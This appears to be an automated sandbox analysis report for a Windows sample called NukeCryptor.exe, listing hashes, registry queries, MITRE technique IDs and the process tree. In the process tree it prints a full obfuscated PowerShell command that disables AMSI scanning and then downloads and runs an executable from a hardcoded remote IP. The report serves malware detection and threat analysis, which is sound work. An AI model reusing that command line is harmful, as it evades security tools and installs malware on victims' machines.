aefbc83f1cf4facc11486398011bea48b4eae99ff13bebff0981ebc837cd1ecf

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 19:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NukeCrypter/NukeCryptor.exe
Size

519KB
MD5

5897585e89a0e475202fd43bebb8b5ec
SHA1

d3b45d759ee686d142849560e7d9e55e604cd4f7
SHA256

fa3d58def6d373cfadebc1fa095731594c0c281a4d4119278d88087597fbaded
SHA512

eab6e541a3c427adbc2fef42f203be247e8617cb76a51e8705cf547941fd1590f383ad48bf8d9b21d3df2bf33bebe61e6d86ac010aa54bffb42edb237952ea63
SSDEEP

12288:KX9eknz7sMClkSWOx08pHSsiI7nTdYDJgsIrXtG4an2aHzI+Nan11aQIYP:KXYOClkg7SsiuTkJgl84XmI+0n1UHY

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
880	Powermode.exe

Loads dropped DLL 1 IoCs

pid	Process
2472	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	NukeCryptor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	NukeCryptor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	NukeCryptor.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
880	Powermode.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	880	Powermode.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 2472	2336	NukeCryptor.exe	31
PID 2336 wrote to memory of 2472	2336	NukeCryptor.exe	31
PID 2336 wrote to memory of 2472	2336	NukeCryptor.exe	31
PID 2472 wrote to memory of 880	2472	cmd.exe	33
PID 2472 wrote to memory of 880	2472	cmd.exe	33
PID 2472 wrote to memory of 880	2472	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\NukeCrypter\NukeCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\NukeCrypter\NukeCryptor.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\system32\cmd.exe
  cmd /c C:\ProgramData\my_script.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Powermode.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
C:\ProgramData\my_script.bat

Filesize
729B

MD5
092cabe7fe4773b78ff62f414633572f

SHA1
c9f77f261d45e394086f7bb23eb91b80b8d0b318

SHA256
85d5ee43057001a08fa00e02a4aaf7d84a2d4407f662fa9c22b16b22a9d0738b

SHA512
e5d1b866e5a50243f953b67f191c4185aecdc828e5641cae6f78486f71f337f3efedbcb6051586b886a3c321db6fb17f9fe276cbc9954e0abb41e0813589a022

Download Submit
memory/880-19-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/880-20-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2336-3-0x000007FEF57F0000-0x000007FEF61DC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-4-0x000007FEF57F0000-0x000007FEF61DC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-5-0x000007FEF57F0000-0x000007FEF61DC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-2-0x000000001B2F0000-0x000000001B504000-memory.dmp

Filesize
2.1MB

Download
memory/2336-1-0x0000000000DE0000-0x0000000000E66000-memory.dmp

Filesize
536KB

Download
memory/2336-0-0x000007FEF57F3000-0x000007FEF57F4000-memory.dmp

Filesize
4KB

Download
memory/2336-21-0x000007FEF57F3000-0x000007FEF57F4000-memory.dmp

Filesize
4KB

Download
memory/2336-22-0x000007FEF57F0000-0x000007FEF61DC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-23-0x000007FEF57F0000-0x000007FEF61DC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-24-0x000007FEF57F0000-0x000007FEF61DC000-memory.dmp

Filesize
9.9MB

Download